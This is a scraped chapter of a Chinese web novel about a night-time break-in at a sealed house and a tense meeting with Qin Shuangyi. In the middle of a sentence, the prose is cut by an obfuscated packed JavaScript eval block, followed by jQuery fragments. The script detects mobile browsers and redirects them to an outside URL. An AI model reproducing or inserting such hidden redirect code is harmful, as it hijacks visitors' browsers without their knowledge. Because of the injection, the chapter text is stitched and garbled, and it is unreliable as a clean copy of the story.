59. 第 59 章(第2页)
虽不知道对方有没有拿到他们想要的,但若是能在
程以宁递了几个眼神,示意他到僻静的地方说话。
“我且问你,王松现在是受害者,除了我们,衙门更想知道发生了什么,他们去名正言顺,我们去算什么?万一碰上了,把你一逮,言行逼供屈打成招,直接‘破案’。你无权无势,怎么斗得过正愁没人替死的皇后党?何况,如今国库空虚,你万贯家财正好能接燃眉之急。”
程以宁语气不算太好,但苏正清没有被打击的失落,反而眼睛亮亮,道:“想不到,程姑娘如此为我着想。”
程以宁:“不说正事我走了。”
苏正清:“哎哎哎,别走嘛,我又不是说现在去。现在衙门的人估计已经到他家了。咱们等晚上行动呀。”
程以宁翻了个白眼,“衙门都去搜过一轮了,我们怎么可能还找得到有用的线索?在这之前,皇后那边的人肯定也是搜过的。”
“可以去碰碰运气,万一他们遗漏了什么,被我们给发现了呢。”
“你不是通宵审讯?怎么这么精神?”
苏正清:“是梦蝶审的,她休息了。等到夜深,也是她带你去王松家。”
豁,还实行轮班制?
深夜无月,寂野荒郊深处坐落着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847318|173031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一座小草屋。
它被一排小树遮挡,轻易看不出来。
那排小树笔直站在门前,像是守门侍卫。
前头草屋木门木窗上已经被贴了封条,程以宁周梦蝶只能绕后,看看有没有不起眼的窗户能进。
周梦蝶道:“你自己小心一点。”
“什么?”周遭的黑暗与寂静吞噬着一切安稳,程以宁心神不宁,一时没听清。
周梦蝶压低声音,再道:“有脚印,已经有人在里面了。”
“我们顺着脚印走,不就能找到入口了?”
所有门窗都会贴封条,只不过后窗后门会发现得晚一些,若是没有需要反复勘验的疑点,官兵是不会再来这儿的。
只要面儿上的不遭破坏,这辈子都没人知道,在衙门人走的当晚,就有人再次破坏封条,挑战天威。
周梦蝶知道程以宁的意思,只要自己不是第一个破坏的封条,那就诛不到自己的九族。
她揭开盖有赤色官印的封条,随意得就像没有九族。
程以宁心中暗暗称牛。
甫一开窗,扑面就是一股霉味儿,周梦蝶已经翻身进入,程以宁刚要有所动作,就听见里间铮铮声。
周梦蝶就站在窗口,背对着她,程以宁探了探头,里面更深的黑暗处,她看不清是什么,只隐约显出一个轮廓。
看那高高的马尾,程以宁脱口道:“秦双仪!”
“你们不能进来。”秦双仪的声音太冷太冷了,好像刚从深渊底下爬出来,从里到外都透着彻骨的冷。
“你能进,我们不能进?”周梦蝶道:“你若是想拿什么官儿皇儿压我,那大可不必。”
“你再敢往前一步,我就杀了你。”
“你做不到的。”
周梦蝶举起的右手收回来,估摸着是收起了三刃扇,“不是我认为你有多善良,而是,只有我才能带你找到秦竹董寒玫死去的真正原因。”
“你怎么……”余下的话自动戛然而止,秦双仪显然也意识到,意图被炸出来了。
周梦蝶道:“你父亲去世那会,你才六岁吧,刚记事的年纪,谁对你好谁对你不好,是能分辨出来的,即便当时认不清,如今长大了总能变明是非吧?”
秦双仪道:“好大的脸,不知道的还以为你是我长辈。”
周梦蝶道:“我的确比你年长几岁,你父亲与我大伯还是故交。”
秦双仪的父亲秦竹出生平民,朝中同僚,科考同期,无一人愿意与他深交。他没什么背景,尽管才气斐然,但在天子手下共事,最不缺的就是人才了。
只有邹丹是个例外。邹丹乃前朝太子太傅,曾时任过户部尚书,李才良一登基,就把他支回户部,任职侍郎。
秦双仪是见过他的,他常来父亲的小府邸走动,一脸和蔼可亲,有胡子也不觉得吓人,带着一些她没见过的糕点,支她出去吃。
那会她才两岁记得这么清楚,无非是那段日子,他爹爹只有这么一个朋友。
“我记得十年前因邹老先生进言不当,被皇上抄家流放,全家三十六口全都死在流放途中。”秦双仪完全是不信的,这女人通身都是风情匪气,没半点邹家书卷气,“你说你是邹家人,可能自证?”